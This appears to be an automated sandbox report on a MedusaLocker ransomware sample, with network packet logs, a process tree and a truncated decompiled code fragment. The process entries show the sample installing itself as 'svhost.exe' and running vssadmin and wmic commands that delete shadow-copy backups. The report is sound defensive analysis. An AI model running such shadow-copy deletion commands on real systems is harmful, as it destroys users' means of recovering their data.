Mar 29, 2021 12:58:11.002727032 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.002734900 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:11.002758026 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.033061028 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.033221006 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:11.084240913 CEST	443	49696	204.79.197.200	192.168.2.4
Mar 29, 2021 12:58:11.084409952 CEST	49696	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:45.704236984 CEST	80	49686	93.184.220.29	192.168.2.4
Mar 29, 2021 12:58:45.704473972 CEST	49686	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:58:46.004210949 CEST	49687	80	192.168.2.4	8.238.30.126
Mar 29, 2021 12:58:46.004337072 CEST	49689	80	192.168.2.4	93.184.221.240
Mar 29, 2021 12:58:46.043432951 CEST	80	49689	93.184.221.240	192.168.2.4
Mar 29, 2021 12:58:46.047025919 CEST	80	49687	8.238.30.126	192.168.2.4
Mar 29, 2021 12:58:46.048688889 CEST	49687	80	192.168.2.4	8.238.30.126
Mar 29, 2021 12:58:46.167994022 CEST	80	49684	93.184.220.29	192.168.2.4
Mar 29, 2021 12:58:46.168704033 CEST	49684	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:58:46.253464937 CEST	80	49689	93.184.221.240	192.168.2.4
Mar 29, 2021 12:58:46.253609896 CEST	49689	80	192.168.2.4	93.184.221.240
Mar 29, 2021 12:58:46.704143047 CEST	80	49685	93.184.220.29	192.168.2.4
Mar 29, 2021 12:58:46.704318047 CEST	49685	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:58:48.160715103 CEST	80	49708	93.184.220.29	192.168.2.4
Mar 29, 2021 12:58:48.160850048 CEST	49708	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:58:48.219885111 CEST	80	49707	93.184.220.29	192.168.2.4
Mar 29, 2021 12:58:48.219975948 CEST	49707	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:58:48.265490055 CEST	80	49689	93.184.221.240	192.168.2.4
Mar 29, 2021 12:58:48.265604973 CEST	49689	80	192.168.2.4	93.184.221.240
Mar 29, 2021 12:58:48.448014021 CEST	49715	443	192.168.2.4	184.30.21.219
Mar 29, 2021 12:58:48.448364019 CEST	49716	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:58:50.281495094 CEST	80	49689	93.184.221.240	192.168.2.4
Mar 29, 2021 12:58:50.281620979 CEST	49689	80	192.168.2.4	93.184.221.240
Mar 29, 2021 12:58:50.504771948 CEST	49719	443	192.168.2.4	204.79.197.200
Mar 29, 2021 12:58:52.297502041 CEST	80	49689	93.184.221.240	192.168.2.4
Mar 29, 2021 12:58:52.297640085 CEST	49689	80	192.168.2.4	93.184.221.240
Mar 29, 2021 12:58:54.317450047 CEST	80	49689	93.184.221.240	192.168.2.4
Mar 29, 2021 12:58:54.317809105 CEST	49689	80	192.168.2.4	93.184.221.240
Mar 29, 2021 12:58:56.329497099 CEST	80	49689	93.184.221.240	192.168.2.4
Mar 29, 2021 12:59:35.055589914 CEST	49717	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:59:35.055620909 CEST	49684	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:59:35.055663109 CEST	49685	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:59:35.055694103 CEST	49708	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:59:35.055706024 CEST	49686	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:59:35.097352028 CEST	80	49684	93.184.220.29	192.168.2.4
Mar 29, 2021 12:59:35.097487926 CEST	49684	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:59:35.097522020 CEST	80	49685	93.184.220.29	192.168.2.4
Mar 29, 2021 12:59:35.097565889 CEST	80	49686	93.184.220.29	192.168.2.4
Mar 29, 2021 12:59:35.097585917 CEST	80	49708	93.184.220.29	192.168.2.4
Mar 29, 2021 12:59:35.097732067 CEST	49685	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:59:35.097764969 CEST	49708	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:59:35.097774029 CEST	49686	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:59:35.113610983 CEST	443	49717	20.190.159.138	192.168.2.4
Mar 29, 2021 12:59:35.113722086 CEST	49717	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:59:35.211900949 CEST	49703	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:59:35.211942911 CEST	49730	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:59:35.271908045 CEST	443	49730	20.190.159.138	192.168.2.4
Mar 29, 2021 12:59:35.272012949 CEST	49730	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:59:35.272836924 CEST	443	49703	20.190.159.138	192.168.2.4
Mar 29, 2021 12:59:35.272928953 CEST	49703	443	192.168.2.4	20.190.159.138
Mar 29, 2021 12:59:49.163876057 CEST	443	49699	204.79.197.200	192.168.2.4
Mar 29, 2021 12:59:49.363096952 CEST	443	49701	204.79.197.200	192.168.2.4
Mar 29, 2021 12:59:49.659816027 CEST	80	49707	93.184.220.29	192.168.2.4
Mar 29, 2021 12:59:49.660106897 CEST	49707	80	192.168.2.4	93.184.220.29
Mar 29, 2021 12:59:50.207719088 CEST	443	49705	204.79.197.200	192.168.2.4
Mar 29, 2021 12:59:50.315644026 CEST	443	49698	204.79.197.200	192.168.2.4
Mar 29, 2021 12:59:50.524810076 CEST	443	49712	13.107.5.88	192.168.2.4
Mar 29, 2021 12:59:50.615458965 CEST	443	49692	204.79.197.200	192.168.2.4
Mar 29, 2021 12:59:50.650108099 CEST	443	49713	13.107.5.88	192.168.2.4
Mar 29, 2021 12:59:51.539025068 CEST	443	49700	204.79.197.200	192.168.2.4
Mar 29, 2021 12:59:51.849997044 CEST	443	49695	204.79.197.200	192.168.2.4
Mar 29, 2021 12:59:52.345892906 CEST	443	49711	13.107.42.23	192.168.2.4
Mar 29, 2021 12:59:52.351334095 CEST	443	49697	204.79.197.200	192.168.2.4
Mar 29, 2021 12:59:52.361958981 CEST	443	49704	204.79.197.200	192.168.2.4
Mar 29, 2021 12:59:56.234224081 CEST	443	49693	204.79.197.200	192.168.2.4
Mar 29, 2021 12:59:57.140814066 CEST	443	49714	204.79.197.222	192.168.2.4
Mar 29, 2021 13:00:02.676810980 CEST	80	49707	93.184.220.29	192.168.2.4
Mar 29, 2021 13:00:02.676904917 CEST	49707	80	192.168.2.4	93.184.220.29

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2021 12:57:51.454853058 CEST	58028	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:57:51.500935078 CEST	53	58028	8.8.8.8	192.168.2.4
Mar 29, 2021 12:57:52.236511946 CEST	53097	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:57:52.285331964 CEST	53	53097	8.8.8.8	192.168.2.4
Mar 29, 2021 12:57:53.445045948 CEST	49257	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:57:53.492408037 CEST	53	49257	8.8.8.8	192.168.2.4
Mar 29, 2021 12:57:54.224644899 CEST	62389	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:57:54.272645950 CEST	53	62389	8.8.8.8	192.168.2.4
Mar 29, 2021 12:57:56.225780010 CEST	49910	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:57:56.271730900 CEST	53	49910	8.8.8.8	192.168.2.4
Mar 29, 2021 12:57:57.091075897 CEST	55854	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:57:57.138401985 CEST	53	55854	8.8.8.8	192.168.2.4
Mar 29, 2021 12:57:58.006848097 CEST	64549	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:57:58.055368900 CEST	53	64549	8.8.8.8	192.168.2.4
Mar 29, 2021 12:57:59.618787050 CEST	63153	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:57:59.664694071 CEST	53	63153	8.8.8.8	192.168.2.4
Mar 29, 2021 12:58:00.559587955 CEST	52991	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:58:00.608412981 CEST	53	52991	8.8.8.8	192.168.2.4
Mar 29, 2021 12:58:01.444581985 CEST	53700	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:58:01.493607044 CEST	53	53700	8.8.8.8	192.168.2.4
Mar 29, 2021 12:58:07.113459110 CEST	51726	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:58:07.160988092 CEST	53	51726	8.8.8.8	192.168.2.4
Mar 29, 2021 12:58:08.343502998 CEST	56794	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:58:08.400475025 CEST	53	56794	8.8.8.8	192.168.2.4
Mar 29, 2021 12:58:09.171381950 CEST	56534	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:58:09.220191002 CEST	53	56534	8.8.8.8	192.168.2.4
Mar 29, 2021 12:58:10.032677889 CEST	56627	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:58:10.078866005 CEST	53	56627	8.8.8.8	192.168.2.4
Mar 29, 2021 12:58:12.922483921 CEST	56621	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:58:12.972770929 CEST	53	56621	8.8.8.8	192.168.2.4
Mar 29, 2021 12:58:16.553980112 CEST	63116	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:58:16.599953890 CEST	53	63116	8.8.8.8	192.168.2.4
Mar 29, 2021 12:58:17.770174980 CEST	64078	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:58:17.818646908 CEST	53	64078	8.8.8.8	192.168.2.4
Mar 29, 2021 12:58:18.582171917 CEST	64801	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:58:18.628155947 CEST	53	64801	8.8.8.8	192.168.2.4
Mar 29, 2021 12:58:19.453201056 CEST	61721	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:58:19.499044895 CEST	53	61721	8.8.8.8	192.168.2.4
Mar 29, 2021 12:58:38.115051985 CEST	51255	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:58:38.160825968 CEST	53	51255	8.8.8.8	192.168.2.4
Mar 29, 2021 12:58:41.240981102 CEST	61522	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:58:41.296818972 CEST	53	61522	8.8.8.8	192.168.2.4
Mar 29, 2021 12:59:14.365235090 CEST	52337	53	192.168.2.4	8.8.8.8
Mar 29, 2021 12:59:14.411279917 CEST	53	52337	8.8.8.8	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 29, 2021 12:58:22.052540064 CEST	192.168.2.4	192.168.2.1	f7fc		Echo
Mar 29, 2021 12:58:22.052592993 CEST	192.168.2.1	192.168.2.4	fffc		Echo Reply

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: f6ifQ0POml.exe PID: 6836 Parent PID: 6128

General

Start time:	12:57:58
Start date:	29/03/2021
Path:	C:\Users\user\Desktop\f6ifQ0POml.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\f6ifQ0POml.exe'
Imagebase:	0xef0000
File size:	694784 bytes
MD5 hash:	82143033173CBEEE7F559002FB8AB8C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MedusaLocker, Description: Yara detected MedusaLocker Ransomware, Source: 00000000.00000003.638943647.000000000071B000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MedusaLocker, Description: Yara detected MedusaLocker Ransomware, Source: 00000000.00000000.638560363.0000000000F65000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svhost.exe PID: 6864 Parent PID: 968

General

Start time:	12:57:59
Start date:	29/03/2021
Path:	C:\Users\user\AppData\Roaming\svhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\svhost.exe
Imagebase:	0xaa0000
File size:	694784 bytes
MD5 hash:	82143033173CBEEE7F559002FB8AB8C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MedusaLocker, Description: Yara detected MedusaLocker Ransomware, Source: 00000001.00000000.640333058.0000000000B15000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_MedusaLocker, Description: Yara detected MedusaLocker Ransomware, Source: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_MedusaLocker, Description: Yara detected MedusaLocker Ransomware, Source: C:\Users\user\AppData\Roaming\svhost.exe, Author: Joe Security
Antivirus matches:	Detection: 66%, Metadefender, Browse Detection: 100%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: vssadmin.exe PID: 1316 Parent PID: 6836

General

Start time:	12:58:00
Start date:	29/03/2021
Path:	C:\Windows\SysWOW64\vssadmin.exe
Wow64 process (32bit):	true
Commandline:	vssadmin.exe Delete Shadows /All /Quiet
Imagebase:	0x810000
File size:	110592 bytes
MD5 hash:	7E30B94672107D3381A1D175CF18C147
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 6496 Parent PID: 1316

General

Start time:	12:58:01
Start date:	29/03/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WMIC.exe PID: 4112 Parent PID: 6836

General

Start time:	12:58:06
Start date:	29/03/2021
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic.exe SHADOWCOPY /nointeractive
Imagebase:	0x1190000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 4488 Parent PID: 4112

General

Start time:	12:58:07
Start date:	29/03/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: vssadmin.exe PID: 6736 Parent PID: 6836

General

Start time:	12:58:08
Start date:	29/03/2021
Path:	C:\Windows\SysWOW64\vssadmin.exe
Wow64 process (32bit):	true
Commandline:	vssadmin.exe Delete Shadows /All /Quiet
Imagebase:	0x810000
File size:	110592 bytes
MD5 hash:	7E30B94672107D3381A1D175CF18C147
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 984 Parent PID: 6736

General

Start time:	12:58:08
Start date:	29/03/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WMIC.exe PID: 6592 Parent PID: 6836

General

Start time:	12:58:09
Start date:	29/03/2021
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic.exe SHADOWCOPY /nointeractive
Imagebase:	0x1190000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 6548 Parent PID: 6592

General

Start time:	12:58:10
Start date:	29/03/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: vssadmin.exe PID: 6956 Parent PID: 6836

General

Start time:	12:58:11
Start date:	29/03/2021
Path:	C:\Windows\SysWOW64\vssadmin.exe
Wow64 process (32bit):	true
Commandline:	vssadmin.exe Delete Shadows /All /Quiet
Imagebase:	0x810000
File size:	110592 bytes
MD5 hash:	7E30B94672107D3381A1D175CF18C147
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 6848 Parent PID: 6956

General

Start time:	12:58:11
Start date:	29/03/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WMIC.exe PID: 6972 Parent PID: 6836

General

Start time:	12:58:14
Start date:	29/03/2021
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	wmic.exe SHADOWCOPY /nointeractive
Imagebase:	0x1190000
File size:	391680 bytes
MD5 hash:	79A01FCD1C8166C5642F37D1E0FB7BA8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 7124 Parent PID: 6972

General

Start time:	12:58:14
Start date:	29/03/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svhost.exe PID: 7004 Parent PID: 968

General

Start time:	12:58:58
Start date:	29/03/2021
Path:	C:\Users\user\AppData\Roaming\svhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\svhost.exe
Imagebase:	0xaa0000
File size:	694784 bytes
MD5 hash:	82143033173CBEEE7F559002FB8AB8C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MedusaLocker, Description: Yara detected MedusaLocker Ransomware, Source: 00000014.00000002.767781620.0000000000B15000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_MedusaLocker, Description: Yara detected MedusaLocker Ransomware, Source: 00000014.00000000.766983442.0000000000B15000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svhost.exe PID: 1740 Parent PID: 968

General

Start time:	13:00:00
Start date:	29/03/2021
Path:	C:\Users\user\AppData\Roaming\svhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\svhost.exe
Imagebase:	0xaa0000
File size:	694784 bytes
MD5 hash:	82143033173CBEEE7F559002FB8AB8C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MedusaLocker, Description: Yara detected MedusaLocker Ransomware, Source: 0000001A.00000000.900797330.0000000000B15000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_MedusaLocker, Description: Yara detected MedusaLocker Ransomware, Source: 0000001A.00000002.901407926.0000000000B15000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: svhost.exe PID: 6864 Parent PID: 968 svhost.exeCOMMON

Executed Functions

Function 00AF61AC, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00AF61AB,00AB315C,?,?,00AB315C,?,00B102F0), ref: 00AF61CE
TerminateProcess.KERNEL32(00000000,?,00AF61AB,00AB315C,?,?,00AB315C,?,00B102F0), ref: 00AF61D5
ExitProcess.KERNEL32 ref: 00AF61E7

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: fb9a58b54260f2cd133d02b0991f21e9ddc0966d8e68d00b141ede34daff3c7a
Instruction ID: 2b6374f193764de1fb8b53d84c8a788dc1b20e7434b6546a4e115a53f49e6126
Opcode Fuzzy Hash: fb9a58b54260f2cd133d02b0991f21e9ddc0966d8e68d00b141ede34daff3c7a
Instruction Fuzzy Hash: 2FE0B63140091CEFCF216B94DD5DAA83B69FB89781B948514F9068B532CB35DD82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ADB3EB, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_0003B3F7,00ADAD1F), ref: 00ADB3F0

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 3573eca746ddcdb9a7b7a7d19fbec6a5e7eabb8d8ca12145d2d6d0de51998a16
Instruction ID: c82bef2e0a096cde3fbb812cf23f20c61400f02c0c104bf902741bade16a902e
Opcode Fuzzy Hash: 3573eca746ddcdb9a7b7a7d19fbec6a5e7eabb8d8ca12145d2d6d0de51998a16
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00AD7B60, Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00AD7B60(void* __edx, char __esi, void* __eflags) {
				signed int _t70;
				void* _t71;
				void* _t72;
				void* _t74;
				intOrPtr _t76;
				char _t77;
				void* _t79;
				intOrPtr _t80;
				void* _t85;
				void* _t88;
				intOrPtr _t91;
				intOrPtr* _t93;
				void* _t95;
				intOrPtr* _t96;
				intOrPtr _t98;
				intOrPtr _t101;
				intOrPtr* _t107;
				intOrPtr _t108;
				char _t112;
				signed int _t145;
				signed char _t146;
				intOrPtr _t147;
				void* _t149;
				void* _t152;
				intOrPtr* _t156;
				intOrPtr* _t157;
				intOrPtr* _t158;
				void* _t159;
				void* _t160;
				void* _t168;
				void* _t169;
				void* _t170;

				_t148 = __esi;
				_t113 =  *((intOrPtr*)(_t159 - 0x14));
				E00AD18B2( *((intOrPtr*)(_t159 - 0x14)));
				E00AF1677(0, 0);
				asm("int3");
				_push(8);
				E00ADAEE9();
				_t112 = 0;
				_push(0);
				_push(0);
				_t70 = E00AD6983(_t113, __edx, __esi);
				_t147 =  *((intOrPtr*)(_t159 + 0x10));
				_t145 = 1 << _t70 >> 1;
				if(( *(_t159 + 0xc) & _t145) != 0) {
					_t108 = E00AB1310(0, 0xb45ca0, _t147, __esi);
					_t173 =  *((intOrPtr*)(_t159 + 0x14));
					if( *((intOrPtr*)(_t159 + 0x14)) != 0) {
						_push( *((intOrPtr*)(_t159 + 0x14)));
						_t148 = _t108;
						_t70 = E00AC5598(_t145, _t147, E00AD631B(0, _t145, _t147, __eflags), _t108);
						_t160 = _t160 + 0x10;
					} else {
						_push(0x10);
						 *((intOrPtr*)(_t159 - 0x10)) = _t108;
						_t158 = E00ADA780(_t145, __esi, _t173);
						 *((intOrPtr*)(_t159 - 0x14)) = _t158;
						_t174 = _t158;
						if(_t158 == 0) {
							_t148 = 0;
						} else {
							 *((intOrPtr*)(_t158 + 4)) = 0;
							 *_t158 = 0xb16f5c;
							 *((intOrPtr*)(_t158 + 8)) = E00AD9C1E(0, _t147, _t174);
							 *(_t158 + 0xc) = _t145;
						}
						_t70 = E00AC5598(_t145, _t147, _t148,  *((intOrPtr*)(_t159 - 0x10)));
						_t160 = _t160 + 0xc;
					}
				}
				_t146 =  *(_t159 + 0xc);
				if((_t146 & 0x00000020) != 0) {
					_t148 = E00AB1310(_t112, 0xb45ca4, _t147, _t148);
					_t176 =  *((intOrPtr*)(_t159 + 0x14)) - _t112;
					if( *((intOrPtr*)(_t159 + 0x14)) != _t112) {
						_push( *((intOrPtr*)(_t159 + 0x14)));
						_t70 = E00AC5598(_t146, _t147, E00AD63C1(_t146, __eflags), _t148);
						_t160 = _t160 + 0x10;
					} else {
						_push(8);
						_t107 = E00ADA780(_t146, _t148, _t176);
						 *((intOrPtr*)(_t159 - 0x14)) = _t107;
						if(_t107 == 0) {
							_t107 = _t112;
						} else {
							 *((intOrPtr*)(_t107 + 4)) = _t112;
							 *_t107 = 0xb16f78;
						}
						_t70 = E00AC5598(_t146, _t147, _t107, _t148);
						_t160 = _t160 + 0xc;
					}
					_t146 =  *(_t159 + 0xc);
				}
				if((_t146 & 0x00000004) != 0) {
					_t152 = E00AB1310(_t112, 0xb45ca8, _t147, _t148);
					_t179 =  *((intOrPtr*)(_t159 + 0x14)) - _t112;
					if( *((intOrPtr*)(_t159 + 0x14)) != _t112) {
						_push( *((intOrPtr*)(_t159 + 0x14)));
						E00AC5598(_t146, _t147, E00AD6467(_t146, __eflags), _t152);
						_t85 = E00AB1310(_t112, 0xb45cac, _t147, _t152);
						_push( *((intOrPtr*)(_t159 + 0x14)));
						E00AC5598(_t146, _t147, E00AD650D(_t146, __eflags), _t85);
						_t88 = E00AB1310(_t112, 0xb45cb0, _t147, _t85);
						_push( *((intOrPtr*)(_t159 + 0x14)));
						E00AC5598(_t146, _t147, E00AD6659(_t146, __eflags), _t88);
						_t91 = E00AB1310(_t112, 0xb45cb4, _t147, _t88);
						_push( *((intOrPtr*)(_t159 + 0x14)));
						_t148 = _t91;
						_t70 = E00AC5598(_t146, _t147, E00AD65B3(_t146, __eflags), _t91);
						_t160 = _t160 + 0x40;
					} else {
						_push(8);
						_t93 = E00ADA780(_t146, _t152, _t179);
						 *((intOrPtr*)(_t159 - 0x14)) = _t93;
						_t180 = _t93;
						if(_t93 == 0) {
							_t93 = _t112;
						} else {
							 *((intOrPtr*)(_t93 + 4)) = _t112;
							 *_t93 = 0xb16f94;
						}
						E00AC5598(_t146, _t147, _t93, _t152);
						_t168 = _t160 + 0xc;
						_t95 = E00AB1310(_t112, 0xb45cac, _t147, _t152);
						_push(8);
						_t155 = _t95;
						_t96 = E00ADA780(_t146, _t95, _t180);
						 *((intOrPtr*)(_t159 - 0x14)) = _t96;
						_t181 = _t96;
						if(_t96 == 0) {
							_t96 = _t112;
						} else {
							 *((intOrPtr*)(_t96 + 4)) = _t112;
							 *_t96 = 0xb16fac;
						}
						E00AC5598(_t146, _t147, _t96, _t155);
						_t169 = _t168 + 0xc;
						_t98 = E00AB1310(_t112, 0xb45cb0, _t147, _t155);
						_push(0x58);
						 *((intOrPtr*)(_t159 - 0x10)) = _t98;
						_t156 = E00ADA780(_t146, _t155, _t181);
						 *((intOrPtr*)(_t159 - 0x14)) = _t156;
						 *(_t159 - 4) = 7;
						_t182 = _t156;
						if(_t156 == 0) {
							_t156 = _t112;
						} else {
							 *((intOrPtr*)(_t156 + 4)) = _t112;
							_push(_t112);
							_push( *((intOrPtr*)(_t159 + 8)));
							 *(_t159 - 4) = 8;
							 *_t156 = 0xb16fc4;
							 *((char*)(_t156 + 0x28)) = _t112;
							E00AD7A52(_t156, _t182);
							 *_t156 = 0xb16ff8;
						}
						 *(_t159 - 4) =  *(_t159 - 4) | 0xffffffff;
						E00AC5598(_t146, _t147, _t156,  *((intOrPtr*)(_t159 - 0x10)));
						_t170 = _t169 + 0xc;
						_t101 = E00AB1310(_t112, 0xb45cb4, _t147, _t156);
